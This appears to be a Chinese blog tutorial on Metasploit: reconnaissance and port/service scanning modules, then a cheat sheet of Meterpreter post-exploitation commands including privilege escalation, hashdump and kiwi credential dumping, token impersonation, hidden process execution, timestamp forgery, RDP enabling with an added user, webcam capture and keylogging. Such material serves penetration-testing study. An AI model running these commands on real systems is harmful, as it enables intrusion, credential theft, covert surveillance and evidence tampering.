「码动四季·开源同行」MSF辅助模块使用

一、auxiliary(辅助)模块

情报搜集阶段,这一阶段主要是尽可能多的收集目标的各种信息。这里主要用到Msf里auxiliary里边的Modules,这里的Modules都是些渗透前期的辅助工具。一般的收集信息可以使用Whois(这个是Linux自带的),db_nmap(这个是Msf的一个插件),如果要使用到其他的一些收集信息的方法,比如使用Syn(一种不建立头层皮连接的扫描)扫描,可以在Msfconsole里边Search syn然后根据返回结果来确定使用哪个模块

Whois信息探测:在Msfconsole下使用Whois查看域名信息

查看IP信息

利用辅助模块查找邮箱:use auxiliary/gather/search_email_collector

确认要设置什么东西

设置一个域名

因为google被国内封了,我们把google的搜索引擎关了

运行

因为百度中没有存在邮箱所有搜索为0

DNS枚举,使用auxiliary模块下的DNS枚举模块:

use auxiliary/gather/enum_dns

我们看下要设置哪些东西

设置一个域名,这里注意我们要设置的是顶级域名,不要加www,不然爆破的时候就是xxx.www.baidu.com了

运行下

二、端口扫描模块

1、内置 N map扫描

Msfconsole下的Nmap和kali内置的Nmap效果其实是一样的,首先我们来看下内置的Nmap

再来看下msfconsole下的nmap

1)syn扫描

扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答而是发送RST包请求断开连接。这样,三次握手就没有完成,无法建立正常的TCP连接,因此,这次扫描就不会被记录到系统日志中。这种扫描技术一般不会在目标主机上留下扫描痕迹。但是,这种扫描需要有root权限

TCP connect端口扫描服务端与客户端建立连接成功(目标端口开放)过程:

① Client端发送SYN;

② Server端返回SYN/ACK,表明端口开放;

③ Client端返回ACK,表明连接已建立;

④ Client端主动断开连接。

TCP connect端口扫描服务端与客户端未建立连接成功(目标端口关闭)过程

① Client端发送SYN;

② Server端返回RST/ACK,表明端口未开放

端口开放

1、Client发送SYN ;

2、Server端发送SYN/ACK ;

3、Client发送RST断开(只需要前两步就可以判断端口开放)。

端口关闭

1、Client发送SYN ;

2、Server端回复RST(表示端口关闭)。

优点

SYN扫描要比TCP Connect()扫描隐蔽一些,SYN仅仅需要发送初始的SYN数据包给目标主机,如果端口开放,则相应SYN-ACK数据包;如果关闭,则响应RST数据包

use auxiliary/scanner/portscan/syn

我们来看下需要设置哪些东西

设置一个要扫描的ip

再设置一个线程,这里默认的线程是1,我们设置成100

运行

2)Tcp扫描

我们再来看下TCP的扫描:use auxiliary/scanner/portscan/tcp

来看下要设置哪些东西

和syn扫描要设置的东西差不多,我们来设置一下扫描地址和线程

运行

三、服务版本信息探测

1、SMB版本扫描

执行use auxiliary/scanner/smb/smb_version命令

我们来看一下要配置哪些东西

设置一个ip地址,运行即可

2、SSH版本扫描

执行use auxiliary/scanner/ssh/ssh_version命令

看一下要设置哪些东西

设置一个要扫描的IP,这里我们设置本机,本机正好是linux的系统,先要把ssh服务开一下

设置目标IP和线程

运行下,可以看到本机ssh服务的版本

3、​​​​​​​FTP版本扫描

执行use auxiliary/scanner/ftp/ftp_version命令

我们看一下要配置哪些东西

我们这里设置一个IP段吧,只要选项里是RHOSTS的都是可以设置IP段的,再设置一个线程

运行

因为我这个段里没有开FTP的服务器,所以扫不出来

四、meterpreter后期攻击使用方法

1、上传文件到Windows主机

简单来说,你可以上传本机的任意文件到远程目标主机中。

命令

bash 复制代码
upload <file> <destination>

注意:使用-r参数可以递归上传上传目录和文件

正确输文件的方法是:upload //root//123.exe c:\\123.exe

2、从windows主机下载文件

download命令可以下载远程主机上的文件

命令

bash 复制代码
download <file> <path to save>

注意:Windows路径要使用双斜线

如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download -r命令

3、在目标主机上执行exe文件

我们也可以使用execute命令在目标主机上执行应用程序

语法也非常简单

命令

bash 复制代码
execute -f <path> [options]

正确写法是: execute -f c://1.exe

4、创建CMD新通道

如果你想在目标主机上执行命令提示符,你可以使用下列命令:

命令

bash 复制代码
execute -f cmd -c 

5、显示进程

ps命令会显示目标主机上所有正在运行的进程

命令

bash 复制代码
ps

6、获取目标主机的cmd shell

shell命令可以进入目标主机的cmd

命令

bash 复制代码
shell 

7、获取admin权限

getsystem命令可以提权到本地系统权限

命令

bash 复制代码
getsystem

8、使用Hashdump转储所有hash值

我们可以使用meterpreter shell来dump目标主机的当前系统账户和密码。转储的内容是NTML哈希格式,网上有很多工具和技巧来破解它们。

NTLM在线破解:https://hashkiller.co.uk/ntlm-decrypter.aspx

命令

bash 复制代码
hashdump 
输出的每一行内容格式如下
Username:SID:LM hash:NTLM hash

本次执行输出了5个用户账号,分别是Administrator,Guest,HelpAssistant,Owner and SUPPORT_388945a0

9、使用Credcollect转储hash值

还有一个类似的脚本叫credential_collector,也可以收集目标主机的tokens

命令

bash 复制代码
run credcollect

10、创建端口转发

meterpreter shell中的portfwd命令是转发技术中最常用的一个命令,可以让攻击系统访问本来无法直接访问的目标主机。

add选项会将端口转发添加到列表中,而且本质上会创建一个隧道。

请注意:这个隧道存在于meterpreter控制台之外,任何终端会话都可以使用。

命令

bash 复制代码
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

11、删除端口转发

跟创建端口转发命令类似,这条命令是删除一条端口转发记录

命令

bash 复制代码
portfwd delete -l <portnumber> -p <portnumber> -r <Target IP>

如果你想显示所有端口转发记录,你可以使用portfwd list命令,如果你想删除所有的记录,可以使用portfwd flush命令

12、在目标主机上搜索文件

搜索命令可以来定位查找目标主机上的特定文件。这个命令可以搜索整个文件系统,也可以搜索特定的文件夹。

例如,如果你想搜索目标主机上的所有txt文件,可以使用下列命令:

命令

bash 复制代码
search -f  *.txt 

13、获取用户ID

getuid命令会显示主机上运行meterpreter 服务的用户

命令

bash 复制代码
getuid 

14、获取系统信息

​​​​​​​sysinfo命令会显示系统名,操作系统,架构和语言等。

命令

bash 复制代码
sysinfo 

15、模拟任意用户(token操作)

这个进程对于攻击像微软活动目录这样的分布式系统非常有帮助,因为在微软活动目录中,本地访问权限并没多大用,但是如果能搞到凭证尤其是管理员凭证,那就非常有用了。

incognito最开始是一个独立的应用,当你成功入侵系统后可以用它来模拟用户tokens。这个应用后来集成到了metasploit,并且最终集成到了meterpreter中,使用如下

  • 在meterpreter会话中加载这个模块非常简单,只要输入 use incognito命令即可
  • 输入list_tokens -u来显示所有有效的tokens
  • 然后我们需要模拟某个token来获取其权限。还有注意,如果成功模拟了一个token,我们可以使用getuid命令来检查当前用户ID
bash 复制代码
use incognito 
list_tokens -u 
impersonate_token "Machine\\user" 

1 6、 webcam摄像头命令

bash 复制代码
webcam_list  #查看摄像头
webcam_snap   #通过摄像头拍照
webcam_stream   #通过摄像头开启视频

1 7、 execute执行文件

bash 复制代码
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

1 8、 timestomp伪造时间戳

bash 复制代码
timestomp C:// -h   #查看帮助
timestomp -v C://2.txt   #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

1 9、 enable_rdp脚本 开启3389

bash 复制代码
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662

    脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
    通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

20、 键盘记录

bash 复制代码
keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop #结束键盘记录

2 1、获取系统密码(新版)

bash 复制代码
meterpreter > load kiwi
meterpreter > creds_wdigest

其它详细见: https://xz.aliyun.com/t/2536​​​​​​​

相关推荐
冬奇Lab14 小时前
一天一个开源项目(第73篇):Multica - 把 AI 编程智能体变成真正的团队成员
人工智能·开源·资讯
提子拌饭13317 小时前
生命组学架构下的细胞分化与基因突变生存模拟器:基于鸿蒙Flutter的情景树渲染与状态溢出防御
flutter·华为·架构·开源·harmonyos
m0_6948455718 小时前
CRUD (Nestjsx)部署教程:自动生成RESTful接口
服务器·人工智能·后端·开源·自动化·restful
a11177620 小时前
汽车展厅项目 开源项目 ThreeJS
前端·开源·html
亥时科技21 小时前
AI+ 无人机一体化平台:架构设计与竞品分析
人工智能·开源·无人机·低空经济·ai巡检
uzong1 天前
107K Star:火爆的MarkItDown--一款用于将文件和办公文档转换为 Markdown 的 Python 工具
人工智能·后端·开源
智碳未来科技有限公司1 天前
开源赋能双碳|智碳能源管理系统:全栈开源工业级 EMS,打破能源管控技术壁垒,助力千行百业零碳转型
开源·能源管理系统·能源管理·能碳管理系统·绿色工厂申报·能碳管理·绿色工厂认证
IT观测1 天前
全国一体成型电感供应商推荐:深圳陆海高分子,覆盖AI服务器、汽车电子的国产方案
开源